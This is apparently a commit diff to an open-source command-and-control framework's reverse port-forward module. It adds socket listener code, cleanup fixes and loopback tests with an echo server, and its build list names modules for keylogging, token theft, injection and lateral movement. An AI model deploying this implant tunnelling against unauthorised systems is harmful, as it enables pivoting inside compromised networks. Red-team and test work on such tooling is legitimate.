mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
ReversePortForward to test
This commit is contained in:
+58
-58
@@ -1,10 +1,10 @@
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
if(C2CORE_BUILD_TESTS)
|
||||
enable_testing()
|
||||
endif()
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
if(C2CORE_BUILD_TESTS)
|
||||
enable_testing()
|
||||
endif()
|
||||
|
||||
include_directories(ModuleCmd)
|
||||
|
||||
function(c2core_disable_safeseh_for_x86 target)
|
||||
@@ -15,54 +15,54 @@ endfunction()
|
||||
|
||||
#Only tests
|
||||
add_subdirectory(ModuleCmd)
|
||||
|
||||
#Exploit
|
||||
add_subdirectory(AssemblyExec)
|
||||
add_subdirectory(Chisel)
|
||||
add_subdirectory(CoffLoader)
|
||||
add_subdirectory(Download)
|
||||
add_subdirectory(Evasion)
|
||||
add_subdirectory(Inject)
|
||||
add_subdirectory(KerberosUseTicket)
|
||||
add_subdirectory(MakeToken)
|
||||
add_subdirectory(Powershell)
|
||||
add_subdirectory(Rev2self)
|
||||
add_subdirectory(Run)
|
||||
add_subdirectory(Script)
|
||||
add_subdirectory(StealToken)
|
||||
add_subdirectory(Upload)
|
||||
add_subdirectory(MkDir)
|
||||
add_subdirectory(Remove)
|
||||
add_subdirectory(KillProcess)
|
||||
add_subdirectory(KeyLogger)
|
||||
add_subdirectory(ScreenShot)
|
||||
add_subdirectory(MiniDump)
|
||||
add_subdirectory(DotnetExec)
|
||||
add_subdirectory(PwSh)
|
||||
add_subdirectory(Shell)
|
||||
add_subdirectory(Registry)
|
||||
|
||||
#Enum
|
||||
add_subdirectory(ChangeDirectory)
|
||||
add_subdirectory(ListDirectory)
|
||||
add_subdirectory(ListProcesses)
|
||||
add_subdirectory(PrintWorkingDirectory)
|
||||
add_subdirectory(Cat)
|
||||
add_subdirectory(Tree)
|
||||
add_subdirectory(GetEnv)
|
||||
add_subdirectory(Whoami)
|
||||
add_subdirectory(Netstat)
|
||||
add_subdirectory(IpConfig)
|
||||
add_subdirectory(EnumerateShares)
|
||||
add_subdirectory(EnumerateRdpSessions)
|
||||
|
||||
#Pivot
|
||||
add_subdirectory(SpawnAs)
|
||||
add_subdirectory(PsExec)
|
||||
add_subdirectory(WmiExec)
|
||||
add_subdirectory(TaskScheduler)
|
||||
add_subdirectory(WinRM)
|
||||
add_subdirectory(DcomExec)
|
||||
add_subdirectory(CimExec)
|
||||
add_subdirectory(SshExec)
|
||||
|
||||
|
||||
#Exploit
|
||||
add_subdirectory(AssemblyExec)
|
||||
add_subdirectory(Chisel)
|
||||
add_subdirectory(CoffLoader)
|
||||
add_subdirectory(Download)
|
||||
add_subdirectory(Evasion)
|
||||
add_subdirectory(Inject)
|
||||
add_subdirectory(KerberosUseTicket)
|
||||
add_subdirectory(MakeToken)
|
||||
add_subdirectory(Powershell)
|
||||
add_subdirectory(Rev2self)
|
||||
add_subdirectory(Run)
|
||||
add_subdirectory(Script)
|
||||
add_subdirectory(StealToken)
|
||||
add_subdirectory(Upload)
|
||||
add_subdirectory(MkDir)
|
||||
add_subdirectory(Remove)
|
||||
add_subdirectory(KillProcess)
|
||||
add_subdirectory(KeyLogger)
|
||||
add_subdirectory(ScreenShot)
|
||||
add_subdirectory(MiniDump)
|
||||
add_subdirectory(DotnetExec)
|
||||
add_subdirectory(PwSh)
|
||||
add_subdirectory(Shell)
|
||||
add_subdirectory(Registry)
|
||||
|
||||
#Enum
|
||||
add_subdirectory(ChangeDirectory)
|
||||
add_subdirectory(ListDirectory)
|
||||
add_subdirectory(ListProcesses)
|
||||
add_subdirectory(PrintWorkingDirectory)
|
||||
add_subdirectory(Cat)
|
||||
add_subdirectory(Tree)
|
||||
add_subdirectory(GetEnv)
|
||||
add_subdirectory(Whoami)
|
||||
add_subdirectory(Netstat)
|
||||
add_subdirectory(IpConfig)
|
||||
add_subdirectory(EnumerateShares)
|
||||
add_subdirectory(EnumerateRdpSessions)
|
||||
|
||||
#Pivot
|
||||
add_subdirectory(SpawnAs)
|
||||
add_subdirectory(PsExec)
|
||||
add_subdirectory(ReversePortForward)
|
||||
add_subdirectory(WmiExec)
|
||||
add_subdirectory(TaskScheduler)
|
||||
add_subdirectory(WinRM)
|
||||
add_subdirectory(DcomExec)
|
||||
add_subdirectory(CimExec)
|
||||
add_subdirectory(SshExec)
|
||||
|
||||
@@ -2,12 +2,18 @@ include_directories(../)
|
||||
add_library(ReversePortForward SHARED ReversePortForward.cpp)
|
||||
set_property(TARGET ReversePortForward PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
target_link_libraries(ReversePortForward)
|
||||
if(WIN32)
|
||||
target_link_libraries(ReversePortForward ws2_32)
|
||||
endif()
|
||||
add_custom_command(TARGET ReversePortForward POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:ReversePortForward> "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$<TARGET_FILE_NAME:ReversePortForward>")
|
||||
|
||||
if(C2CORE_BUILD_TESTS)
|
||||
add_executable(testsReversePortForward tests/testsReversePortForward.cpp ReversePortForward.cpp)
|
||||
target_link_libraries(testsReversePortForward)
|
||||
if(WIN32)
|
||||
target_link_libraries(testsReversePortForward ws2_32)
|
||||
endif()
|
||||
add_custom_command(TARGET testsReversePortForward POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsReversePortForward> "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsReversePortForward>")
|
||||
add_test(NAME testsReversePortForward COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsReversePortForward>")
|
||||
|
||||
@@ -10,10 +10,7 @@
|
||||
#include <memory>
|
||||
#include <vector>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#else
|
||||
#ifndef _WIN32
|
||||
#include <arpa/inet.h>
|
||||
#include <fcntl.h>
|
||||
#include <netdb.h>
|
||||
@@ -74,27 +71,31 @@ extern "C" __attribute__((visibility("default"))) ReversePortForward* ReversePor
|
||||
#endif
|
||||
|
||||
ReversePortForward::ReversePortForward()
|
||||
// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
, m_localPort(0)
|
||||
, m_remotePort(0)
|
||||
, m_socketLayerReady(false)
|
||||
// #else
|
||||
// , ModuleCmd("", moduleHash)
|
||||
, m_running(false)
|
||||
, m_listenerActive(false)
|
||||
// , m_remotePort(0)
|
||||
, m_listenerSocket(InvalidSocket)
|
||||
, m_listenerThread()
|
||||
, m_nextConnectionId(1)
|
||||
// , m_socketLayerReady(false)
|
||||
// #endif
|
||||
{
|
||||
}
|
||||
|
||||
ReversePortForward::~ReversePortForward()
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
|
||||
closeLocalConnections();
|
||||
stopListener();
|
||||
shutdownSocketLayer();
|
||||
}
|
||||
|
||||
void ReversePortForward::closeLocalConnections()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_localMutex);
|
||||
for (auto& entry : m_localConnections)
|
||||
{
|
||||
@@ -102,27 +103,48 @@ ReversePortForward::~ReversePortForward()
|
||||
closeSocket(entry.second);
|
||||
}
|
||||
m_localConnections.clear();
|
||||
#else
|
||||
}
|
||||
|
||||
void ReversePortForward::stopListener()
|
||||
{
|
||||
m_running = false;
|
||||
|
||||
SocketHandle listener = m_listenerSocket;
|
||||
if (listener != InvalidSocket)
|
||||
closeSocket(listener);
|
||||
|
||||
if (m_listenerThread.joinable())
|
||||
m_listenerThread.join();
|
||||
m_listenerSocket = InvalidSocket;
|
||||
|
||||
std::vector<std::shared_ptr<RemoteConnection>> connections;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_connectionsMutex);
|
||||
for (auto& pair : m_connections)
|
||||
{
|
||||
auto& connection = pair.second;
|
||||
if (connection && connection->socket != InvalidSocket)
|
||||
closeSocket(connection->socket);
|
||||
}
|
||||
connections.push_back(pair.second);
|
||||
m_connections.clear();
|
||||
}
|
||||
|
||||
if (m_listenerSocket != InvalidSocket)
|
||||
closeSocket(m_listenerSocket);
|
||||
#endif
|
||||
for (auto& connection : connections)
|
||||
{
|
||||
if (!connection)
|
||||
continue;
|
||||
|
||||
shutdownSocketLayer();
|
||||
connection->active = false;
|
||||
if (connection->socket != InvalidSocket)
|
||||
{
|
||||
closeSocket(connection->socket);
|
||||
connection->socket = InvalidSocket;
|
||||
}
|
||||
}
|
||||
|
||||
for (auto& connection : connections)
|
||||
{
|
||||
if (connection && connection->reader.joinable())
|
||||
connection->reader.join();
|
||||
}
|
||||
|
||||
m_listenerActive = false;
|
||||
}
|
||||
|
||||
std::string ReversePortForward::getInfo()
|
||||
@@ -253,13 +275,9 @@ void ReversePortForward::enqueueChunk(int connectionId, const std::string& data,
|
||||
std::lock_guard<std::mutex> lock(m_queueMutex);
|
||||
m_pendingChunks.push({connectionId, data, closeEvent});
|
||||
}
|
||||
#if !(defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS))
|
||||
m_queueCv.notify_all();
|
||||
#endif
|
||||
}
|
||||
|
||||
// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
|
||||
|
||||
bool ReversePortForward::sendAll(SocketHandle socket, const std::string& data) const
|
||||
{
|
||||
if (socket == InvalidSocket)
|
||||
@@ -382,13 +400,11 @@ void ReversePortForward::pollLocalConnections()
|
||||
enqueueChunk(chunk.connectionId, chunk.data, chunk.closeEvent);
|
||||
}
|
||||
|
||||
// #else
|
||||
|
||||
ReversePortForward::SocketHandle ReversePortForward::createListener(int port)
|
||||
{
|
||||
struct addrinfo hints;
|
||||
std::memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
hints.ai_flags = AI_PASSIVE;
|
||||
@@ -492,6 +508,7 @@ void ReversePortForward::handleClient(std::shared_ptr<RemoteConnection> connecti
|
||||
}
|
||||
|
||||
closeSocket(socket);
|
||||
connection->socket = InvalidSocket;
|
||||
}
|
||||
|
||||
void ReversePortForward::runListener()
|
||||
@@ -517,13 +534,9 @@ void ReversePortForward::runListener()
|
||||
}
|
||||
|
||||
connection->reader = std::thread(&ReversePortForward::handleClient, this, connection);
|
||||
connection->reader.detach();
|
||||
enqueueChunk(id, std::string(), false);
|
||||
}
|
||||
}
|
||||
|
||||
// #endif
|
||||
|
||||
int ReversePortForward::followUp(const C2Message& c2RetMessage)
|
||||
{
|
||||
if (!ensureSocketLayer())
|
||||
@@ -744,19 +757,12 @@ int ReversePortForward::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
|
||||
if (!payload.empty())
|
||||
{
|
||||
const char* buffer = payload.data();
|
||||
size_t totalSent = 0;
|
||||
size_t toSend = payload.size();
|
||||
while (totalSent < toSend)
|
||||
if (!sendAll(connection->socket, payload))
|
||||
{
|
||||
int sent = ::send(connection->socket, buffer + totalSent, static_cast<int>(toSend - totalSent), 0);
|
||||
if (sent <= 0)
|
||||
{
|
||||
connection->active = false;
|
||||
enqueueChunk(connectionId, std::string(), true);
|
||||
break;
|
||||
}
|
||||
totalSent += static_cast<size_t>(sent);
|
||||
connection->active = false;
|
||||
closeSocket(connection->socket);
|
||||
connection->socket = InvalidSocket;
|
||||
enqueueChunk(connectionId, std::string(), true);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -805,6 +811,9 @@ int ReversePortForward::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
{
|
||||
connection->active = false;
|
||||
closeSocket(connection->socket);
|
||||
connection->socket = InvalidSocket;
|
||||
if (connection->reader.joinable())
|
||||
connection->reader.join();
|
||||
}
|
||||
|
||||
return 0;
|
||||
@@ -813,12 +822,11 @@ int ReversePortForward::process(C2Message& c2Message, C2Message& c2RetMessage)
|
||||
return 0;
|
||||
}
|
||||
|
||||
// TODO, we got an architectural issue here, recurringExec and followUp are not expected to communicate between them without user intervention
|
||||
// could be usefull
|
||||
int ReversePortForward::recurringExec(C2Message& c2RetMessage)
|
||||
{
|
||||
// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
|
||||
pollLocalConnections();
|
||||
const bool listenerSide = m_running;
|
||||
if (!listenerSide)
|
||||
pollLocalConnections();
|
||||
|
||||
std::unique_lock<std::mutex> lock(m_queueMutex);
|
||||
if (m_pendingChunks.empty())
|
||||
@@ -838,38 +846,9 @@ int ReversePortForward::recurringExec(C2Message& c2RetMessage)
|
||||
else
|
||||
{
|
||||
c2RetMessage.set_cmd("send");
|
||||
c2RetMessage.set_args("response:" + std::to_string(chunk.connectionId));
|
||||
c2RetMessage.set_args(std::string(listenerSide ? "data:" : "response:") + std::to_string(chunk.connectionId));
|
||||
c2RetMessage.set_data(chunk.data);
|
||||
}
|
||||
|
||||
return 1;
|
||||
// #else
|
||||
// std::unique_lock<std::mutex> lock(m_queueMutex);
|
||||
// if (m_pendingChunks.empty())
|
||||
// {
|
||||
// m_queueCv.wait_for(lock, std::chrono::milliseconds(100));
|
||||
// if (m_pendingChunks.empty())
|
||||
// return 0;
|
||||
// }
|
||||
|
||||
// PendingChunk chunk = m_pendingChunks.front();
|
||||
// m_pendingChunks.pop();
|
||||
// lock.unlock();
|
||||
|
||||
// c2RetMessage.set_instruction(std::to_string(getHash()));
|
||||
// if (chunk.closeEvent)
|
||||
// {
|
||||
// c2RetMessage.set_cmd("close");
|
||||
// c2RetMessage.set_args("close:" + std::to_string(chunk.connectionId));
|
||||
// c2RetMessage.set_data("");
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// c2RetMessage.set_cmd("send");
|
||||
// c2RetMessage.set_args("data:" + std::to_string(chunk.connectionId));
|
||||
// c2RetMessage.set_data(chunk.data);
|
||||
// }
|
||||
|
||||
// return 1;
|
||||
// #endif
|
||||
}
|
||||
|
||||
@@ -2,6 +2,14 @@
|
||||
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
#ifdef _WIN32
|
||||
#ifndef WIN32_LEAN_AND_MEAN
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#endif
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#endif
|
||||
|
||||
#include <atomic>
|
||||
#include <condition_variable>
|
||||
#include <cstdint>
|
||||
@@ -55,9 +63,10 @@ private:
|
||||
bool ensureSocketLayer();
|
||||
void shutdownSocketLayer();
|
||||
void closeSocket(SocketHandle socket) const;
|
||||
void closeLocalConnections();
|
||||
void stopListener();
|
||||
void enqueueChunk(int connectionId, const std::string& data, bool closeEvent);
|
||||
|
||||
// #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
|
||||
bool sendAll(SocketHandle socket, const std::string& data) const;
|
||||
std::string receiveAvailable(SocketHandle socket, bool& closed) const;
|
||||
void pollLocalConnections();
|
||||
@@ -66,7 +75,7 @@ private:
|
||||
int m_localPort;
|
||||
std::mutex m_localMutex;
|
||||
std::unordered_map<int, SocketHandle> m_localConnections;
|
||||
// #else
|
||||
|
||||
struct RemoteConnection
|
||||
{
|
||||
int id;
|
||||
@@ -89,7 +98,6 @@ private:
|
||||
std::mutex m_connectionsMutex;
|
||||
std::unordered_map<int, std::shared_ptr<RemoteConnection>> m_connections;
|
||||
std::condition_variable m_queueCv;
|
||||
// #endif
|
||||
|
||||
int m_remotePort;
|
||||
bool m_socketLayerReady;
|
||||
|
||||
@@ -1,120 +1,463 @@
|
||||
#include "../ReversePortForward.hpp"
|
||||
|
||||
#include <iostream>
|
||||
#include <memory>
|
||||
#include "../../tests/TestHelpers.hpp"
|
||||
|
||||
bool testInit();
|
||||
bool testInvalidArguments();
|
||||
bool testErrorMessages();
|
||||
bool test();
|
||||
#include <chrono>
|
||||
#include <functional>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <vector>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#else
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
using namespace test_helpers;
|
||||
|
||||
namespace
|
||||
{
|
||||
#ifdef _WIN32
|
||||
using SocketHandle = SOCKET;
|
||||
constexpr SocketHandle InvalidSocket = INVALID_SOCKET;
|
||||
#else
|
||||
using SocketHandle = int;
|
||||
constexpr SocketHandle InvalidSocket = -1;
|
||||
#endif
|
||||
|
||||
void closeSocket(SocketHandle socket)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if (socket != InvalidSocket)
|
||||
closesocket(socket);
|
||||
#else
|
||||
if (socket != InvalidSocket)
|
||||
::close(socket);
|
||||
#endif
|
||||
}
|
||||
|
||||
class SocketRuntime
|
||||
{
|
||||
public:
|
||||
SocketRuntime()
|
||||
{
|
||||
#ifdef _WIN32
|
||||
WSADATA data;
|
||||
m_ready = WSAStartup(MAKEWORD(2, 2), &data) == 0;
|
||||
#else
|
||||
m_ready = true;
|
||||
#endif
|
||||
}
|
||||
|
||||
~SocketRuntime()
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if (m_ready)
|
||||
WSACleanup();
|
||||
#endif
|
||||
}
|
||||
|
||||
bool ready() const
|
||||
{
|
||||
return m_ready;
|
||||
}
|
||||
|
||||
private:
|
||||
bool m_ready = false;
|
||||
};
|
||||
|
||||
SocketHandle createLoopbackListener(int port, int& boundPort)
|
||||
{
|
||||
SocketHandle listener = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (listener == InvalidSocket)
|
||||
return InvalidSocket;
|
||||
|
||||
int enabled = 1;
|
||||
#ifdef _WIN32
|
||||
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char*>(&enabled), sizeof(enabled));
|
||||
#else
|
||||
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &enabled, sizeof(enabled));
|
||||
#endif
|
||||
|
||||
sockaddr_in address{};
|
||||
address.sin_family = AF_INET;
|
||||
address.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
address.sin_port = htons(static_cast<unsigned short>(port));
|
||||
|
||||
if (::bind(listener, reinterpret_cast<sockaddr*>(&address), sizeof(address)) != 0)
|
||||
{
|
||||
closeSocket(listener);
|
||||
return InvalidSocket;
|
||||
}
|
||||
|
||||
if (::listen(listener, SOMAXCONN) != 0)
|
||||
{
|
||||
closeSocket(listener);
|
||||
return InvalidSocket;
|
||||
}
|
||||
|
||||
sockaddr_in actual{};
|
||||
#ifdef _WIN32
|
||||
int actualSize = sizeof(actual);
|
||||
#else
|
||||
socklen_t actualSize = sizeof(actual);
|
||||
#endif
|
||||
if (::getsockname(listener, reinterpret_cast<sockaddr*>(&actual), &actualSize) != 0)
|
||||
{
|
||||
closeSocket(listener);
|
||||
return InvalidSocket;
|
||||
}
|
||||
|
||||
boundPort = ntohs(actual.sin_port);
|
||||
return listener;
|
||||
}
|
||||
|
||||
int reserveLoopbackPort()
|
||||
{
|
||||
int port = 0;
|
||||
SocketHandle listener = createLoopbackListener(0, port);
|
||||
closeSocket(listener);
|
||||
return port;
|
||||
}
|
||||
|
||||
bool sendAll(SocketHandle socket, const std::string& data)
|
||||
{
|
||||
size_t sentTotal = 0;
|
||||
while (sentTotal < data.size())
|
||||
{
|
||||
int sent = ::send(socket, data.data() + sentTotal, static_cast<int>(data.size() - sentTotal), 0);
|
||||
if (sent <= 0)
|
||||
return false;
|
||||
sentTotal += static_cast<size_t>(sent);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SocketHandle connectLoopback(int port, std::chrono::milliseconds timeout)
|
||||
{
|
||||
const auto deadline = std::chrono::steady_clock::now() + timeout;
|
||||
while (std::chrono::steady_clock::now() < deadline)
|
||||
{
|
||||
SocketHandle socket = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (socket == InvalidSocket)
|
||||
return InvalidSocket;
|
||||
|
||||
sockaddr_in address{};
|
||||
address.sin_family = AF_INET;
|
||||
address.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
address.sin_port = htons(static_cast<unsigned short>(port));
|
||||
|
||||
if (::connect(socket, reinterpret_cast<sockaddr*>(&address), sizeof(address)) == 0)
|
||||
return socket;
|
||||
|
||||
closeSocket(socket);
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(20));
|
||||
}
|
||||
return InvalidSocket;
|
||||
}
|
||||
|
||||
std::string recvWithTimeout(SocketHandle socket, std::chrono::milliseconds timeout)
|
||||
{
|
||||
fd_set readSet;
|
||||
FD_ZERO(&readSet);
|
||||
FD_SET(socket, &readSet);
|
||||
|
||||
timeval tv{};
|
||||
tv.tv_sec = static_cast<long>(timeout.count() / 1000);
|
||||
tv.tv_usec = static_cast<long>((timeout.count() % 1000) * 1000);
|
||||
|
||||
int ready = ::select(static_cast<int>(socket) + 1, &readSet, nullptr, nullptr, &tv);
|
||||
if (ready <= 0 || !FD_ISSET(socket, &readSet))
|
||||
return {};
|
||||
|
||||
char buffer[4096];
|
||||
int received = ::recv(socket, buffer, sizeof(buffer), 0);
|
||||
if (received <= 0)
|
||||
return {};
|
||||
return std::string(buffer, received);
|
||||
}
|
||||
|
||||
class EchoServer
|
||||
{
|
||||
public:
|
||||
EchoServer()
|
||||
{
|
||||
m_listener = createLoopbackListener(0, m_port);
|
||||
if (m_listener != InvalidSocket)
|
||||
m_thread = std::thread(&EchoServer::run, this);
|
||||
}
|
||||
|
||||
~EchoServer()
|
||||
{
|
||||
SocketHandle unblocker = connectLoopback(m_port, std::chrono::milliseconds(100));
|
||||
closeSocket(unblocker);
|
||||
if (m_listener != InvalidSocket)
|
||||
closeSocket(m_listener);
|
||||
if (m_client != InvalidSocket)
|
||||
closeSocket(m_client);
|
||||
if (m_thread.joinable())
|
||||
m_thread.join();
|
||||
}
|
||||
|
||||
bool started() const
|
||||
{
|
||||
return m_listener != InvalidSocket && m_port > 0;
|
||||
}
|
||||
|
||||
int port() const
|
||||
{
|
||||
return m_port;
|
||||
}
|
||||
|
||||
private:
|
||||
void run()
|
||||
{
|
||||
m_client = ::accept(m_listener, nullptr, nullptr);
|
||||
if (m_client == InvalidSocket)
|
||||
return;
|
||||
|
||||
char buffer[4096];
|
||||
int received = ::recv(m_client, buffer, sizeof(buffer), 0);
|
||||
if (received > 0)
|
||||
{
|
||||
std::string response = "echo:";
|
||||
response.append(buffer, received);
|
||||
sendAll(m_client, response);
|
||||
}
|
||||
}
|
||||
|
||||
SocketHandle m_listener = InvalidSocket;
|
||||
SocketHandle m_client = InvalidSocket;
|
||||
int m_port = 0;
|
||||
std::thread m_thread;
|
||||
};
|
||||
|
||||
bool waitForRecurring(ReversePortForward& module,
|
||||
C2Message& message,
|
||||
const std::function<bool(const C2Message&)>& predicate,
|
||||
std::chrono::milliseconds timeout)
|
||||
{
|
||||
const auto deadline = std::chrono::steady_clock::now() + timeout;
|
||||
while (std::chrono::steady_clock::now() < deadline)
|
||||
{
|
||||
C2Message candidate;
|
||||
if (module.recurringExec(candidate) == 1)
|
||||
{
|
||||
if (predicate(candidate))
|
||||
{
|
||||
message = candidate;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(20));
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool testInit()
|
||||
{
|
||||
ReversePortForward module;
|
||||
std::vector<std::string> cmd = {"reversePortForward", "8080", "127.0.0.1", "80"};
|
||||
C2Message message;
|
||||
|
||||
bool ok = true;
|
||||
ok &= expect(module.init(cmd, message) == 0, "valid init should succeed");
|
||||
ok &= expect(message.instruction() == cmd[0], "instruction should be set");
|
||||
ok &= expect(message.cmd() == "start", "start command should be packed");
|
||||
ok &= expect(message.args() == "8080 127.0.0.1 80", "forward parameters should be packed");
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool testInvalidArguments()
|
||||
{
|
||||
bool ok = true;
|
||||
ReversePortForward module;
|
||||
C2Message message;
|
||||
|
||||
std::vector<std::string> cmd = {"reversePortForward", "invalid", "127.0.0.1", "80"};
|
||||
ok &= expect(module.init(cmd, message) == -1, "non-numeric port should be rejected");
|
||||
ok &= expect(message.returnvalue().find("Invalid port") != std::string::npos, "non-numeric port should explain the error");
|
||||
|
||||
cmd = {"reversePortForward", "8080"};
|
||||
message = C2Message();
|
||||
ok &= expect(module.init(cmd, message) == -1, "missing arguments should be rejected");
|
||||
ok &= expect(message.returnvalue().find("reversePortForward") != std::string::npos, "missing arguments should return help");
|
||||
|
||||
cmd = {"reversePortForward", "0", "127.0.0.1", "80"};
|
||||
message = C2Message();
|
||||
ok &= expect(module.init(cmd, message) == -1, "zero remote port should be rejected");
|
||||
ok &= expect(message.returnvalue().find("Ports must be between") != std::string::npos, "out-of-range port should explain the error");
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool testErrorMessages()
|
||||
{
|
||||
ReversePortForward module;
|
||||
bool ok = true;
|
||||
|
||||
for (int code = 1; code <= 5; ++code)
|
||||
{
|
||||
std::string error;
|
||||
C2Message response;
|
||||
response.set_errorCode(code);
|
||||
ok &= expect(module.errorCodeToMsg(response, error) == 0, "errorCodeToMsg should return success");
|
||||
ok &= expect(!error.empty(), "known error code should map to text");
|
||||
}
|
||||
|
||||
std::string unchanged = "unchanged";
|
||||
C2Message response;
|
||||
response.set_errorCode(0);
|
||||
ok &= expect(module.errorCodeToMsg(response, unchanged) == 0, "zero error code should return success");
|
||||
ok &= expect(unchanged == "unchanged", "zero error code should not change existing message");
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool testStartErrors()
|
||||
{
|
||||
ReversePortForward module;
|
||||
C2Message start;
|
||||
start.set_instruction("reversePortForward");
|
||||
start.set_cmd("start");
|
||||
start.set_args("0 127.0.0.1 1");
|
||||
|
||||
C2Message ret;
|
||||
bool ok = true;
|
||||
ok &= expect(module.process(start, ret) == 0, "invalid start should return through C2Message");
|
||||
ok &= expect(ret.errorCode() == 3, "invalid start should set bind error");
|
||||
|
||||
const int remotePort = reserveLoopbackPort();
|
||||
start.set_args(std::to_string(remotePort) + " 127.0.0.1 1");
|
||||
ret = C2Message();
|
||||
ok &= expect(module.process(start, ret) == 0, "first start should succeed");
|
||||
ok &= expect(ret.errorCode() <= 0, "first start should not set an error");
|
||||
|
||||
ret = C2Message();
|
||||
ok &= expect(module.process(start, ret) == 0, "duplicate start should return through C2Message");
|
||||
ok &= expect(ret.errorCode() == 1, "duplicate start should set already-running error");
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool testLoopbackForward()
|
||||
{
|
||||
EchoServer echo;
|
||||
bool ok = true;
|
||||
ok &= expect(echo.started(), "local echo server should start");
|
||||
if (!echo.started())
|
||||
return false;
|
||||
|
||||
const int remotePort = reserveLoopbackPort();
|
||||
ok &= expect(remotePort > 0, "remote test port should be reservable");
|
||||
if (remotePort <= 0)
|
||||
return false;
|
||||
|
||||
ReversePortForward teamserver;
|
||||
ReversePortForward implant;
|
||||
C2Message start;
|
||||
std::vector<std::string> cmd = {
|
||||
"reversePortForward",
|
||||
std::to_string(remotePort),
|
||||
"127.0.0.1",
|
||||
std::to_string(echo.port())};
|
||||
|
||||
ok &= expect(teamserver.init(cmd, start) == 0, "teamserver init should pack start message");
|
||||
|
||||
C2Message startRet;
|
||||
ok &= expect(implant.process(start, startRet) == 0, "implant start should return through C2Message");
|
||||
ok &= expect(startRet.errorCode() <= 0, "implant start should not set an error");
|
||||
ok &= expect(startRet.returnvalue().find(std::to_string(remotePort)) != std::string::npos, "implant start should report remote port");
|
||||
if (!ok)
|
||||
return false;
|
||||
|
||||
SocketHandle remoteClient = connectLoopback(remotePort, std::chrono::seconds(2));
|
||||
ok &= expect(remoteClient != InvalidSocket, "remote client should connect to forwarded port");
|
||||
if (remoteClient == InvalidSocket)
|
||||
return false;
|
||||
|
||||
ok &= expect(sendAll(remoteClient, "ping"), "remote client should send data");
|
||||
|
||||
C2Message toTeamserver;
|
||||
ok &= expect(waitForRecurring(
|
||||
implant,
|
||||
toTeamserver,
|
||||
[](const C2Message& message)
|
||||
{
|
||||
return message.cmd() == "send"
|
||||
&& message.args().find("data:") == 0
|
||||
&& message.data() == "ping";
|
||||
},
|
||||
std::chrono::seconds(2)),
|
||||
"implant recurringExec should emit remote data");
|
||||
|
||||
const std::string dataArgs = toTeamserver.args();
|
||||
ok &= expect(teamserver.followUp(toTeamserver) == 0, "teamserver followUp should forward data to local service");
|
||||
|
||||
C2Message toImplant;
|
||||
ok &= expect(waitForRecurring(
|
||||
teamserver,
|
||||
toImplant,
|
||||
[&](const C2Message& message)
|
||||
{
|
||||
return message.cmd() == "send"
|
||||
&& message.args() == "response:" + dataArgs.substr(std::string("data:").size())
|
||||
&& message.data() == "echo:ping";
|
||||
},
|
||||
std::chrono::seconds(2)),
|
||||
"teamserver recurringExec should emit local service response");
|
||||
|
||||
C2Message sendRet;
|
||||
